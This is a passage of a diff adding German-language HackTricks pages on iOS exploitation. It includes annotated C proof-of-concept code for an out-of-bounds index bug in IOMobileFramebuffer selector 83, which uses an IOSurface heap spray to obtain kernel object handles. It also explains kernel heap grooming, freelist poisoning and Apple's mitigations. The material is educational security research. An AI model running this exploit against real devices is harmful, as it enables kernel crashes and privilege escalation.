+
+// 1) Locate the IOMobileFramebuffer service in the IORegistry.
+//    This returns the first matched service object (a kernel object handle).
+io_service_t service = IOServiceGetMatchingService(
+kIOMasterPortDefault,
+IOServiceMatching("IOMobileFramebuffer"));
+
+if (service == MACH_PORT_NULL) {
+printf("failed to open service\n");
+return;
+}
+
+printf("service: 0x%x\n", service);
+
+// 2) Open a connection (user client) to the service.
+//    The user client is what exposes external methods to userland.
+//    'type' selects which user client class/variant to instantiate.
+ret = IOServiceOpen(service, mach_task_self(), type, &shared_user_client_conn);
+if (ret != KERN_SUCCESS) {
+printf("failed to open userclient: %s\n", mach_error_string(ret));
+return;
+}
+
+printf("client: 0x%x\n", shared_user_client_conn);
+
+printf("call externalMethod\n");
+
+// 3) Prepare input scalars for the external method call.
+//    The vulnerable path uses a 32-bit scalar as an INDEX into an internal
+//    array of pointers WITHOUT bounds checking (OOB read / type confusion).
+//    We set it to a large value to force the out-of-bounds access.
+uint64_t scalars[4] = { 0x0 };
+scalars[0] = 0x41414141; // **Attacker-controlled index** → OOB pointer lookup
+
+// 4) Prepare output buffers (the method returns a scalar, e.g. a surface ID).
+uint64_t output_scalars[4] = { 0 };
+uint32_t output_scalars_size = 1;
+
+printf("call s_default_fb_surface\n");
+
+// 5) Invoke external method #83.
+//    On vulnerable builds, this path ends up calling:
+//      IOMobileFramebufferUserClient::s_displayed_fb_surface(...)
+//      → IOMobileFramebufferLegacy::get_displayed_surface(...)
+//      which uses our index to read a pointer and then passes it as IOSurface*.
+//    If the pointer is bogus, IOSurface code will dereference it and the kernel
+//    will panic (DoS).
+ret = IOConnectCallMethod(
+shared_user_client_conn,
+83,                 // **Selector 83**: vulnerable external method
+scalars, 1,         // input scalars (count = 1; the OOB index)
+NULL, 0,            // no input struct
+output_scalars, &output_scalars_size,  // optional outputs
+NULL, NULL);        // no output struct
+
+// 6) Check the call result. On many vulnerable targets, you'll see either
+//    KERN_SUCCESS right before a panic (because the deref happens deeper),
+//    or an error if the call path rejects the request (e.g., entitlement/type).
+if (ret != KERN_SUCCESS) {
+printf("failed to call external method: 0x%x --> %s\n",
+ret, mach_error_string(ret));
+return;
+}
+
+printf("external method returned KERN_SUCCESS\n");
+
+// 7) Clean up the user client connection handle.
+IOServiceClose(shared_user_client_conn);
+printf("success!\n");
+}
+```
+## Arbitrary Read PoC Erklärt
+
+1. **Opening the right user client**
+
+-   `get_appleclcd_uc()` findet den **AppleCLCD**-Service und öffnet **user client type 2**. AppleCLCD und IOMobileFramebuffer teilen dieselbe external-methods-Tabelle; type 2 macht **selector 83** verfügbar, die verwundbare Methode. **Das ist dein Einstieg in den Bug.** E_POC/)
+
+**Why 83 matters:** der dekompilierte Pfad ist:
+
+-   `IOMobileFramebufferUserClient::s_displayed_fb_surface(...)`\
+→ `IOMobileFramebufferUserClient::get_displayed_surface(...)`\
+→ `IOMobileFramebufferLegacy::get_displayed_surface(...)`\
+Innerhalb dieses letzten Aufrufs verwendet der Code **deinen 32-bit scalar als Array-Index ohne Bounds-Check**, liest einen Pointer aus **`this + 0xA58 + index*8`** und **gibt ihn als `IOSurface*`** an `IOSurfaceRoot::copyPortNameForSurfaceInTask(...)` weiter. **Das ist das OOB + Type-Confusion.**
+
+2. **The heap spray (why IOSurface shows up here)**
+
+-   `do_spray()` verwendet **`IOSurfaceRootUserClient`**, um **viele IOSurfaces zu erstellen** und **kleine Werte zu sprayen** (`s_set_value`-Stil). Dadurch werden benachbarte Kernel-Heaps mit **Zeigern auf gültige IOSurface-Objekte** gefüllt.
+
+-   **Ziel:** wenn selector 83 über die legitime Tabelle hinausliest, enthält der **OOB-Slot wahrscheinlich einen Pointer auf eines deiner (echten) IOSurfaces** — sodass die spätere Dereferenz **nicht crasht** und **erfolgreich ist**. IOSurface ist ein klassisches, gut dokumentiertes Kernel-spray-Primitive, und Saar erwähnt explizit die **create / set_value / lookup** Methoden, die für diesen Exploit-Flow verwendet werden.
+
+3. **The "offset/8" trick (what that index really is)**
+
+-   In `trigger_oob(offset)` setzt du `scalars[0] = offset / 8`.
+
+-   **Warum durch 8 teilen?** Der Kernel macht **`base + index*8`**, um zu berechnen, welche **pointer-sized Slot** gelesen wird. Du wählst die **„Slot-Nummer N“**, nicht einen Byte-Offset. **Acht Bytes pro Slot** auf 64-bit.
+
+-   Diese berechnete Adresse ist **`this + 0xA58 + index*8`**. Der PoC nutzt eine große Konstante (`0x1200000 + 0x1048`), einfach um **weit außerhalb der Grenzen** zu springen in einen Bereich, den du mit IOSurface-Pointern **dicht gefüllt** hast. **Wenn der Spray „gewinnt“, ist der getroffene Slot ein gültiger `IOSurface*`.**
+
+4. **What selector 83 returns (this is the subtle part)**
+
+-   Der Aufruf ist:
+
+`IOConnectCallMethod(appleclcd_uc, 83, scalars, 1, NULL, 0,
+output_scalars, &output_scalars_size, NULL, NULL);`o
+
+-   Intern arbeitet der Treiber, nach dem OOB-Pointer-Fetch, so:\
+**`IOSurfaceRoot::copyPortNameForSurfaceInTask(task, IOSurface*, out_u32*)`**.
+
+-   **Ergebnis:** **`output_scalars[0]` ist ein Mach-Port-Name (u32-Handle) in deinem Task** für *welchen Objekt-Pointer auch immer du via OOB geliefert hast*. **Es ist kein roher Kernel-Adress-leak; es ist ein Userspace-Handle (send right).** Dieses genaue Verhalten (Kopieren eines *port name*) zeigt Saar in seiner Dekompilierung.
+
+**Why that's useful:** mit einem **Port-Name** zur (vermeintlichen) IOSurface kannst du nun **IOSurfaceRoot-Methoden** wie nutzen:
+
+-   **`s_lookup_surface_from_port` (method 34)** → wandelt den Port in eine **surface ID** um, mit der du durch andere IOSurface-Aufrufe arbeiten kannst, und
+
+-   **`s_create_port_from_surface` (method 35)** falls du die Umkehr brauchst.\
+Saar nennt genau diese Methoden als nächsten Schritt. **Der PoC zeigt, dass du einen legitimen IOSurface-Handle aus einem OOB-Slot „herstellen“ kannst.** [Saaramar](https://saaramar.github.io/IOMobileFrameBuffer_LPE_POC/?utm_source=chatgpt.com)
+
+Dieses [PoC was taken from here](https://github.com/saaramar/IOMobileFrameBuffer_LPE_POC/blob/main/poc/exploit.c) und mit einigen Kommentaren versehen, um die Schritte zu erklären:
+```c
+#include "exploit.h"
+
+// Open the AppleCLCD (aka IOMFB) user client so we can call external methods.
+io_connect_t get_appleclcd_uc(void) {
+kern_return_t ret;
+io_connect_t shared_user_client_conn = MACH_PORT_NULL;
+int type = 2; // **UserClient type**: variant that exposes selector 83 on affected builds.  ⭐
+// (AppleCLCD and IOMobileFramebuffer share the same external methods table.)
+
+// Find the **AppleCLCD** service in the IORegistry.
+io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault,
+IOServiceMatching("AppleCLCD"));
+if(service == MACH_PORT_NULL) {
+printf("[-] failed to open service\n");
+return MACH_PORT_NULL;
+}
+printf("[*] AppleCLCD service: 0x%x\n", service);
+
+// Open a user client connection to AppleCLCD with the chosen **type**.
+ret = IOServiceOpen(service, mach_task_self(), type, &shared_user_client_conn);
+if(ret != KERN_SUCCESS) {
+printf("[-] failed to open userclient: %s\n", mach_error_string(ret));
+return MACH_PORT_NULL;
+}
+printf("[*] AppleCLCD userclient: 0x%x\n", shared_user_client_conn);
+return shared_user_client_conn;
+}
+
+// Trigger the OOB index path of external method #83.
+// The 'offset' you pass is in bytes; dividing by 8 converts it to the
+// index of an 8-byte pointer slot in the internal table at (this + 0xA58).
+uint64_t trigger_oob(uint64_t offset) {
+kern_return_t ret;
+
+// The method takes a single 32-bit scalar that it uses as an index.
+uint64_t scalars[1] = { 0x0 };
+scalars[0] = offset / 8;   // **index = byteOffset / sizeof(void*)**.  ⭐
+
+// #83 returns one scalar. In this flow it will be the Mach port name
+// (a u32 handle in our task), not a kernel pointer.
+uint64_t output_scalars[1] = { 0 };
+uint32_t output_scalars_size = 1;
+
+io_connect_t appleclcd_uc = get_appleclcd_uc();
+if (appleclcd_uc == MACH_PORT_NULL) {
+return 0;
+}
+
+// Call external method 83. Internally:
+//   ptr = *(this + 0xA58 + index*8);         // OOB pointer fetch
+//   IOSurfaceRoot::copyPortNameForSurfaceInTask(task, (IOSurface*)ptr, &out)
+// which creates a send right for that object and writes its port name
+// into output_scalars[0]. If ptr is junk → deref/panic (DoS).
+ret = IOConnectCallMethod(appleclcd_uc, 83,
+scalars, 1,
+NULL, 0,
+output_scalars, &output_scalars_size,
+NULL, NULL);
+
+if (ret != KERN_SUCCESS) {
+printf("[-] external method 83 failed: %s\n",  mach_error_string(ret));
+return 0;
+}
+
+// This is the key: you get back a Mach port name (u32) to whatever
+// object was at that OOB slot (ideally an IOSurface you sprayed).
+printf("[*] external method 83 returned: 0x%llx\n", output_scalars[0]);
+return output_scalars[0];
+}
+
+// Heap-shape with IOSurfaces so an OOB slot likely contains a pointer to a
+// real IOSurface (easier & stabler than a fully fake object).
+bool do_spray(void) {
+char data[0x10];
+memset(data, 0x41, sizeof(data)); // Tiny payload for value spraying.
+
+// Get IOSurfaceRootUserClient (reachable from sandbox/WebContent).
+io_connect_t iosurface_uc = get_iosurface_root_uc();
+if (iosurface_uc == MACH_PORT_NULL) {
+printf("[-] do_spray: failed to allocate new iosurface_uc\n");
+return false;
+}
+
+// Create many IOSurfaces and use set_value / value spray helpers
+// (Brandon Azad-style) to fan out allocations in kalloc.  ⭐
+int *surface_ids = (int*)malloc(SURFACES_COUNT * sizeof(int));
+for (size_t i = 0; i < SURFACES_COUNT; ++i) {
+surface_ids[i] = create_surface(iosurface_uc);       // s_create_surface
+if (surface_ids[i] <= 0) {
+return false;
+}
+
+// Spray small values repeatedly: tends to allocate/fill predictable
+// kalloc regions near where the IOMFB table OOB will read from.
+// The “with_gc” flavor forces periodic GC to keep memory moving/packed.
+if (IOSurface_spray_with_gc(iosurface_uc, surface_ids[i],
+20, 200,   // rounds, per-round items
+data, sizeof(data),
+NULL) == false) {
+printf("iosurface spray failed\n");
+return false;
+}
+}
+return true;
+}
+
+int main(void) {
+// Ensure we can talk to IOSurfaceRoot (some helpers depend on it).
+io_connect_t iosurface_uc = get_iosurface_root_uc();
+if (iosurface_uc == MACH_PORT_NULL) {
+return 0;
+}
+
+printf("[*] do spray\n");
+if (do_spray() == false) {
+printf("[-] shape failed, abort\n");
+return 1;
+}
+printf("[*] spray success\n");
+
+// Trigger the OOB read. The magic constant chooses a pointer-slot
+// far beyond the legit array (offset is in bytes; index = offset/8).
+// If the spray worked, this returns a **Mach port name** (handle) to one
+// of your sprayed IOSurfaces; otherwise it may crash.
+printf("[*] trigger\n");
+trigger_oob(0x1200000 + 0x1048);
+return 0;
+}
+```
+## Referenzen
+- [Original-Writeup von Saar Amar](https://saaramar.github.io/IOMobileFrameBuffer_LPE_POC/)
+- [Exploit PoC-Code](https://github.com/saaramar/IOMobileFrameBuffer_LPE_POC)
+- [Analyse von jsherman212](https://jsherman212.github.io/2021/11/28/popping_ios14_with_iomfb.html?utm_source=chatgpt.com)
+
+{{#include ../../banners/hacktricks-training.md}}

src/binary-exploitation/ios-exploiting/README.md

@@ -0,0 +1,257 @@
+# iOS Exploiting
+
+{{#include ../../banners/hacktricks-training.md}}
+
+## iOS Exploit Mitigations
+
+- **Code Signing** in iOS funktioniert so, dass jedes ausführbare Stück Code (Apps, Libraries, Extensions, etc.) kryptografisch mit einem von Apple ausgestellten Zertifikat signiert sein muss. Beim Laden von Code verifiziert iOS die digitale Signatur gegen Apples vertrauenswürdiges Root-Zertifikat. Ist die Signatur ungültig, fehlt oder wurde verändert, verweigert das OS die Ausführung. Das verhindert, dass Angreifer bösartigen Code in legitime Apps injizieren oder unsigned Binaries ausführen, und stoppt damit die meisten Exploit-Chains, die auf das Ausführen beliebigen oder manipulierten Codes angewiesen sind.
+- **CoreTrust** ist das iOS-Subsystem, das Code-Signing zur Laufzeit durchsetzt. Es verifiziert Signaturen direkt mit Apples Root-Zertifikat, ohne sich auf zwischengespeicherte Trust-Stores zu verlassen, was bedeutet, dass nur Binaries, die von Apple signiert sind (oder gültige Entitlements haben), ausgeführt werden können. CoreTrust stellt sicher, dass selbst wenn ein Angreifer eine App nach der Installation manipuliert, Systembibliotheken verändert oder versucht, unsigned Code zu laden, die Ausführung blockiert wird, sofern der Code nicht korrekt signiert ist. Diese strikte Durchsetzung schließt viele Post-Exploitation-Vektoren, die ältere iOS-Versionen über schwächere oder umgehbare Signaturprüfungen zuließen.
+- **Data Execution Prevention (DEP)** markiert Speicherregionen als nicht ausführbar, es sei denn, sie enthalten explizit Code. Das verhindert, dass Angreifer Shellcode in Datenregionen (wie Stack oder Heap) injizieren und ausführen; stattdessen müssen sie auf komplexere Techniken wie ROP (Return-Oriented Programming) zurückgreifen.
+- **ASLR (Address Space Layout Randomization)** randomisiert die Speicheradressen von Code, Libraries, Stack und Heap bei jedem Systemstart. Das erschwert es Angreifern, vorherzusagen, wo nützliche Instruktionen oder Gadgets liegen, und bricht viele Exploit-Chains, die von festen Speicherlayouts abhängen.
+- **KASLR (Kernel ASLR)** wendet das gleiche Randomisierungsprinzip auf den iOS-Kernel an. Durch Verschieben der Kernel-Base-Adresse bei jedem Boot verhindert es, dass Angreifer zuverlässig Kernel-Funktionen oder -Strukturen finden, und erhöht die Schwierigkeit von Kernel-Level-Exploits, die sonst volle Systemkontrolle erlangen würden.
+- **Kernel Patch Protection (KPP)**, auch bekannt als **AMCC (Apple Mobile File Integrity)** in iOS, überwacht kontinuierlich die Kernel-Code-Seiten, um sicherzustellen, dass sie nicht verändert wurden. Wird Manipulation festgestellt — z. B. wenn ein Exploit versucht, Kernel-Funktionen zu patchen oder bösartigen Code einzufügen — wird das Gerät sofort panicen und neu starten. Dieser Schutz macht persistente Kernel-Exploits deutlich schwerer, da Angreifer Kernel-Instruktionen nicht einfach hooken oder patchen können, ohne einen Systemabsturz auszulösen.
+- **Kernel Text Readonly Region (KTRR)** ist eine hardwarebasierte Sicherheitsfunktion auf iOS-Geräten. Sie nutzt den Speichercontroller der CPU, um den Kernel-Code (Text-Segment) nach dem Boot dauerhaft als read-only zu markieren. Einmal gesperrt, kann nicht einmal der Kernel selbst diese Speicherregion ändern. Das verhindert, dass Angreifer — und sogar privilegierter Code — Kernel-Instruktionen zur Laufzeit patchen, und schließt eine große Klasse von Exploits, die auf das direkte Modifizieren von Kernel-Code angewiesen waren.
+- **Pointer Authentication Codes (PAC)** verwenden kryptografische Signaturen, die in ungenutzten Bits von Pointern eingebettet sind, um deren Integrität vor der Verwendung zu prüfen. Wenn ein Pointer (z. B. eine Rücksprungadresse oder ein Funktionspointer) erstellt wird, signiert die CPU ihn mit einem geheimen Schlüssel; vor dem Dereferenzieren prüft die CPU die Signatur. Wurde der Pointer manipuliert, schlägt die Prüfung fehl und die Ausführung stoppt. Das verhindert, dass Angreifer gefälschte oder korrupte Pointer in Memory-Corruption-Exploits verwenden, und macht Techniken wie ROP oder JOP deutlich schwerer zuverlässig durchführbar.
+- **Privilege Access never (PAN)** ist eine Hardware-Funktion, die verhindert, dass der Kernel (privilegierter Modus) direkt auf User-Space-Speicher zugreift, es sei denn, er aktiviert den Zugriff explizit. Das stoppt Angreifer, die Code-Execution im Kernel erlangen, daran, ohne Weiteres User-Memory zu lesen oder zu schreiben, um Exploits zu eskalieren oder sensible Daten zu stehlen. Durch die strikte Trennung reduziert PAN die Auswirkungen von Kernel-Exploits und blockiert viele gängige Privilege-Escalation-Techniken.
+- **Page Protection Layer (PPL)** ist ein iOS-Sicherheitsmechanismus, der kritische kernelverwaltete Speicherbereiche schützt, insbesondere solche, die mit Code-Signing und Entitlements zusammenhängen. Er erzwingt strikte Schreibschutzmechanismen mittels MMU (Memory Management Unit) und zusätzlicher Prüfungen und stellt sicher, dass selbst privilegierter Kernel-Code nicht beliebig sensitive Pages verändern kann. Das verhindert, dass Angreifer mit Kernel-Level-Execution sicherheitskritische Strukturen manipulieren, und erschwert Persistenz und Code-Signing-Bypässe erheblich.
+
+## Old Kernel Heap (Pre-iOS 15 / Pre-A12 era)
+
+Der Kernel verwendete einen **zone allocator** (`kalloc`), aufgeteilt in festgroße "zones".
+Jede Zone speicherte nur Allokationen einer einzelnen Größenklasse.
+
+From the screenshot:
+
+| Zone Name            | Element Size | Example Use                                                                 |
+|----------------------|--------------|-----------------------------------------------------------------------------|
+| `default.kalloc.16`  | 16 Bytes     | Sehr kleine Kernel-Structs, Pointer.                                        |
+| `default.kalloc.32`  | 32 Bytes     | Kleine Structs, Objekt-Header.                                              |
+| `default.kalloc.64`  | 64 Bytes     | IPC-Messages, winzige Kernel-Buffer.                                        |
+| `default.kalloc.128` | 128 Bytes    | Mittlere Objekte wie Teile von `OSObject`.                                  |
+| `default.kalloc.256` | 256 Bytes    | Größere IPC-Messages, Arrays, Geräte-Strukturen.                            |
+| …                    | …            | …                                                                           |
+| `default.kalloc.1280`| 1280 Bytes   | Große Strukturen, IOSurface-/Graphics-Metadaten.                            |
+
+**How it worked:**
+- Jede Allokationsanfrage wurde auf die nächste Zone-Größe **aufgerundet**.
+(z. B. landet eine 50-Byte-Anfrage in der `kalloc.64`-Zone).
+- Speicher in jeder Zone wurde in einer **freelist** gehalten — vom Kernel freigegebene Chunks gingen zurück in diese Zone.
+- Wenn du einen 64-Byte-Buffer overflowtest, überschreibst du das **nächste Objekt in derselben Zone**.
+
+Deshalb war **heap spraying / feng shui** so effektiv: du konntest Objekt-Nachbarn vorhersagen, indem du Allokationen derselben Größenklasse gesprayd hast.
+
+### The freelist
+
+Innerhalb jeder kalloc-Zone wurden freigegebene Objekte nicht direkt an das System zurückgegeben — sie landeten in einer freelist, einer verketteten Liste verfügbarer Chunks.
+
+- Wenn ein Chunk freigegeben wurde, schrieb der Kernel einen Pointer an den Anfang dieses Chunks → die Adresse des nächsten freien Chunks in derselben Zone.
+
+- Die Zone hielt einen HEAD-Pointer auf den ersten freien Chunk.
+
+- Eine Allokation nutzte immer das aktuelle HEAD:
+
+1. Pop HEAD (gibt diesen Speicher an den Caller zurück).
+
+2. Update HEAD = HEAD->next (gespeichert im Header des freigegebenen Chunks).
+
+- Freigeben schob Chunks wieder zurück:
+
+- `freed_chunk->next = HEAD`
+
+- `HEAD = freed_chunk`
+
+Also war die freelist einfach eine verkettete Liste, die in dem freigegebenen Speicher selbst aufgebaut wurde.
+
+Normalzustand:
+```
+Zone page (64-byte chunks for example):
+[ A ] [ F ] [ F ] [ A ] [ F ] [ A ] [ F ]
+
+Freelist view:
+HEAD ──► [ F ] ──► [ F ] ──► [ F ] ──► [ F ] ──► NULL
+(next ptrs stored at start of freed chunks)
+```
+### Freelist ausnutzen
+
+Da die ersten 8 Bytes eines free chunk = freelist pointer, könnte ein Angreifer diesen korrumpieren:
+
+1. **Heap overflow** in einen angrenzenden freed chunk → überschreibt dessen “next” pointer.
+
+2. **Use-after-free** Schreibzugriff auf ein freed object → überschreibt dessen “next” pointer.
+
+Dann, bei der nächsten Allocation dieser Größe:
+
+- Der Allocator poppt den korrumpierten Chunk.
+- Folgt dem vom Angreifer gelieferten “next” pointer.
+- Gibt einen Pointer auf beliebigen Speicher zurück, wodurch fake object primitives oder targeted overwrite möglich werden.
+
+Visuelles Beispiel für freelist poisoning:
+```
+Before corruption:
+HEAD ──► [ F1 ] ──► [ F2 ] ──► [ F3 ] ──► NULL
+
+After attacker overwrite of F1->next:
+HEAD ──► [ F1 ]
+(next) ──► 0xDEAD_BEEF_CAFE_BABE  (attacker-chosen)
+
+Next alloc of this zone → kernel hands out memory at attacker-controlled address.
+```
+This freelist-Design machte Exploitation vor den Hardening-Maßnahmen sehr effektiv: predictable neighbors durch heap sprays, raw pointer freelist links und keine Typtrennung erlaubten Angreifern, UAF/overflow-Bugs in beliebige Kontrolle über Kernel-Speicher zu eskalieren.
+
+### Heap Grooming / Feng Shui
+Das Ziel von heap grooming ist, das Heap-Layout so zu gestalten, dass wenn ein Angreifer einen overflow oder use-after-free auslöst, das Zielobjekt (Victim) direkt neben einem vom Angreifer kontrollierten Objekt liegt.\
+Auf diese Weise kann bei Speicherkorruption der Angreifer zuverlässig das Victim-Objekt mit kontrollierten Daten überschreiben.
+
+**Schritte:**
+
+1. Spray allocations (fill the holes)
+- Im Laufe der Zeit fragmentiert der kernel heap: Einige Zonen haben Lücken, in denen alte Objekte freed wurden.
+- Der Angreifer macht zuerst viele Dummy-Allocations, um diese Lücken zu füllen, sodass der Heap „gepackt“ und vorhersehbar wird.
+
+2. Force new pages
+- Sobald die Lücken gefüllt sind, müssen die nächsten Allocations aus neuen Pages kommen, die der Zone hinzugefügt werden.
+- Frische Pages bedeuten, dass Objekte zusammengeclustert werden, statt über alten fragmentierten Speicher verstreut zu sein.
+- Das gibt dem Angreifer deutlich bessere Kontrolle über Nachbarn.
+
+3. Place attacker objects
+- Der Angreifer sprayed erneut und erzeugt viele attacker-controlled Objekte in diesen neuen Pages.
+- Diese Objekte sind in Größe und Platzierung vorhersehbar (da sie alle zur gleichen Zone gehören).
+
+4. Free a controlled object (make a gap)
+- Der Angreifer freed absichtlich eines seiner eigenen Objekte.
+- Dadurch entsteht ein „Hole“ im Heap, das der Allocator später für die nächste Allocation dieser Größe wiederverwenden wird.
+
+5. Victim object lands in the hole
+- Der Angreifer löst aus, dass der Kernel das Victim-Objekt (das er korruptieren möchte) alloziert.
+- Da die Lücke der zuerst verfügbare Slot in der freelist ist, wird das Victim genau dort platziert, wo der Angreifer sein Objekt freed hat.
+
+6. Overflow / UAF into victim
+- Nun hat der Angreifer attacker-controlled Objekte um das Victim herum.
+- Durch Overflow aus einem eigenen Objekt (oder Wiederverwendung eines freed Objekts) kann er zuverlässig die Speicherfelder des Victims mit gewählten Werten überschreiben.
+
+**Warum das funktioniert**:
+
+- Zone allocator predictability: Allocations gleicher Größe kommen immer aus der gleichen Zone.
+- Freelist behavior: Neue Allocations reuse den zuletzt freed Chunk zuerst.
+- Heap sprays: Der Angreifer füllt Speicher mit vorhersehbarem Inhalt und kontrolliert das Layout.
+- Endergebnis: Der Angreifer kontrolliert, wo das Victim landet und welche Daten daneben liegen.
+
+---
+
+## Modern Kernel Heap (iOS 15+/A12+ SoCs)
+
+Apple hat den Allocator gehärtet und machte **heap grooming much harder**:
+
+### 1. From Classic kalloc to kalloc_type
+- **Before**: Für jede Größenklasse (16, 32, 64, … 1280, etc.) existierte eine einzelne `kalloc.<size>` Zone. Jedes Objekt dieser Größe wurde dort platziert → Angreifer-Objekte konnten neben privilegierten Kernel-Objekten liegen.
+- **Now**:
+- Kernel-Objekte werden aus **typed zones** (`kalloc_type`) alloziert.
+- Jeder Objekttyp (z. B. `ipc_port_t`, `task_t`, `OSString`, `OSData`) hat seine eigene dedizierte Zone, selbst wenn sie die gleiche Größe haben.
+- Die Zuordnung zwischen Objekttyp ↔ Zone wird zur Compile-Zeit vom **kalloc_type system** generiert.
+
+Ein Angreifer kann nicht mehr garantieren, dass kontrollierte Daten (`OSData`) neben sensiblen Kernel-Objekten (`task_t`) gleicher Größe landen.
+
+### 2. Slabs and Per-CPU Caches
+- Der Heap ist in **slabs** unterteilt (Pages, die in fixed-size Chunks für diese Zone aufgeteilt sind).
+- Jede Zone hat einen **per-CPU cache**, um Contention zu reduzieren.
+- Allocation-Pfad:
+1. Versuche per-CPU cache.
+2. Falls leer, ziehe aus der global freelist.
+3. Falls freelist leer, alloziere einen neuen slab (eine oder mehrere Pages).
+- **Vorteil**: Diese Dezentralisierung macht heap sprays weniger deterministisch, da Allocations aus den Caches verschiedener CPUs bedient werden können.
+
+### 3. Randomization inside zones
+- Innerhalb einer Zone werden freed Elemente nicht in einfacher FIFO/LIFO-Reihenfolge zurückgegeben.
+- Modernes XNU verwendet **encoded freelist pointers** (safe-linking-ähnlich wie Linux, eingeführt ~iOS 14).
+- Jeder freelist-Pointer ist mit einem zonespezifischen Secret Cookie **XOR-encodiert**.
+- Das verhindert, dass Angreifer gefälschte freelist-Pointer erzeugen können, wenn sie einen write-primitive erlangen.
+- Manche Allocations werden **in ihrer Platzierung innerhalb eines Slabs randomisiert**, sodass Spraying keine Adjazenz garantiert.
+
+### 4. Guarded Allocations
+- Bestimmte kritische Kernel-Objekte (z. B. credentials, task-Strukturen) werden in **guarded zones** alloziert.
+- Diese Zonen fügen **guard pages** (nicht gemappter Speicher) zwischen Slabs ein oder nutzen **redzones** um Objekte.
+- Jeder Overflow in die Guard Page löst einen Fault aus → sofortiger Panic anstelle stiller Korruption.
+
+### 5. Page Protection Layer (PPL) and SPTM
+- Selbst wenn du ein freed Objekt kontrollierst, kannst du nicht ganzes Kernel-Memory modifizieren:
+- **PPL (Page Protection Layer)** erzwingt, dass bestimmte Regionen (z. B. code signing data, entitlements) **read-only** sind, selbst für den Kernel.
+- Auf **A15/M2+ devices** wird diese Rolle durch **SPTM (Secure Page Table Monitor)** + **TXM (Trusted Execution Monitor)** ersetzt/erweitert.
+- Diese hardware-gestützten Layer bedeuten, dass Angreifer nicht von einer einzelnen Heap-Korruption auf beliebiges Patchen kritischer Sicherheitsstrukturen eskalieren können.
+
+### 6. Large Allocations
+- Nicht alle Allocations laufen über `kalloc_type`.
+- Sehr große Requests (oberhalb ~16KB) umgehen typed zones und werden direkt aus dem **kernel VM (kmem)** via Page-Allocations bedient.
+- Diese sind weniger vorhersehbar, aber auch weniger exploitbar, da sie Slabs nicht mit anderen Objekten teilen.
+
+### 7. Allocation Patterns Attackers Target
+Auch mit diesen Protektionen suchen Angreifer weiterhin nach:
+- **Reference count objects**: Wenn man retain/release-Zähler manipulieren kann, lässt sich eventuell use-after-free erzwingen.
+- **Objects with function pointers (vtables)**: Das Korruptieren solcher Objekte liefert weiterhin Kontrolle über Control Flow.
+- **Shared memory objects (IOSurface, Mach ports)**: Diese bleiben Angriffsziele, da sie user ↔ kernel vermitteln.
+
+Aber — anders als früher — kann man nicht einfach `OSData` sprayen und erwarten, dass es neben einem `task_t` landet. Man benötigt **type-specific bugs** oder **info leaks**, um erfolgreich zu sein.
+
+### Example: Allocation Flow in Modern Heap
+
+Angenommen, Userspace ruft IOKit auf, um ein `OSData`-Objekt zu alloziieren:
+
+1. **Type lookup** → `OSData` mapped zur `kalloc_type_osdata` Zone (Größe 64 bytes).
+2. Prüfe per-CPU cache nach freien Elementen.
+- Falls gefunden → gib eines zurück.
+- Falls leer → gehe zur global freelist.
+- Falls freelist leer → alloziere einen neuen slab (Page von 4KB → 64 Chunks à 64 bytes).
+3. Gib den Chunk an den Caller zurück.
+
+**Freelist pointer protection**:
+- Jeder freed Chunk speichert die Adresse des nächsten freien Chunks, aber encodiert mit einem Secret Key.
+- Das Überschreiben dieses Feldes mit Angreifer-Daten funktioniert nicht, sofern man den Key nicht kennt.
+
+## Comparison Table
+
+| Feature                         | **Old Heap (Pre-iOS 15)**                                  | **Modern Heap (iOS 15+ / A12+)**                  |
+|---------------------------------|------------------------------------------------------------|--------------------------------------------------|
+| Allocation granularity          | Fixed size buckets (`kalloc.16`, `kalloc.32`, etc.)        | Size + **type-based buckets** (`kalloc_type`)    |
+| Placement predictability         | High (same-size objects side by side)                     | Low (same-type grouping + randomness)            |
+| Freelist management             | Raw pointers in freed chunks (easy to corrupt)             | **Encoded pointers** (safe-linking style)        |
+| Adjacent object control         | Easy via sprays/frees (feng shui predictable)              | Hard — typed zones separate attacker objects      |
+| Kernel data/code protections    | Few hardware protections                                   | **PPL / SPTM** protect page tables & code pages   |
+| Exploit reliability             | High with heap sprays                                      | Much lower, requires logic bugs or info leaks     |
+
+## (Old) Physical Use-After-Free via IOSurface
+
+{{#ref}}
+ios-physical-uaf-iosurface.md
+{{#endref}}
+
+---
+
+## Ghidra Install BinDiff
+
+Download BinDiff DMG from [https://www.zynamics.com/bindiff/manual](https://www.zynamics.com/bindiff/manual) and install it.
+
+Open Ghidra with `ghidraRun` and go to `File` --> `Install Extensions`, press the add button and select the path `/Applications/BinDiff/Extra/Ghidra/BinExport` and click OK and install it even if there is a version mismatch.
+
+### Using BinDiff with Kernel versions
+
+1. Go to the page [https://ipsw.me/](https://ipsw.me/) and download the iOS versions you want to diff. These will be `.ipsw` files.
+2. Decompress until you get the bin format of the kernelcache of both `.ipsw` files. You have information on how to do this on:
+
+{{#ref}}
+../../macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md
+{{#endref}}
+
+3. Open Ghidra with `ghidraRun`, create a new project and load the kernelcaches.
+4. Open each kernelcache so they are automatically analyzed by Ghidra.
+5. Then, on the project Window of Ghidra, right click each kernelcache, select `Export`, select format `Binary BinExport (v2) for BinDiff` and export them.
+6. Open BinDiff, create a new workspace and add a new diff indicating as primary file the kernelcache that contains the vulnerability and as secondary file the patched kernelcache.
+
+---
+
+## Finding the right XNU version
+
+If you want to check for vulnerabilities in a specific version of iOS, you can check which XNU release version the iOS version uses at [https://www.theiphonewiki.com/wiki/kernel]https://www.theiphonewiki.com/wiki/kernel).
+
+For example, the versions `15.1 RC`, `15.1` and `15.1.1` use the version `Darwin Kernel Version 21.1.0: Wed Oct 13 19:14:48 PDT 2021; root:xnu-8019.43.1~1/RELEASE_ARM64_T8006`.
+
+
+{{#include ../../banners/hacktricks-training.md}}

src/binary-exploitation/ios-exploiting/ios-corellium.md

@@ -0,0 +1,79 @@
+# iOS Wie man eine Verbindung zu Corellium herstellt
+
+{{#include ../../banners/hacktricks-training.md}}
+
+## **Voraussetzungen**
+- Eine Corellium iOS VM (jailbroken oder nicht). In diesem Leitfaden gehen wir davon aus, dass du Zugriff auf Corellium hast.
+- Lokale Tools: **ssh/scp**.
+- (Optional) **SSH keys** zu deinem Corellium-Projekt hinzugefügt für passwortlose Logins.
+
+
+## **Mit der iPhone-VM vom localhost verbinden**
+
+### A) **Quick Connect (kein VPN)**
+0) Füge deinen **SSH key** in **`/admin/projects`** hinzu (empfohlen).  
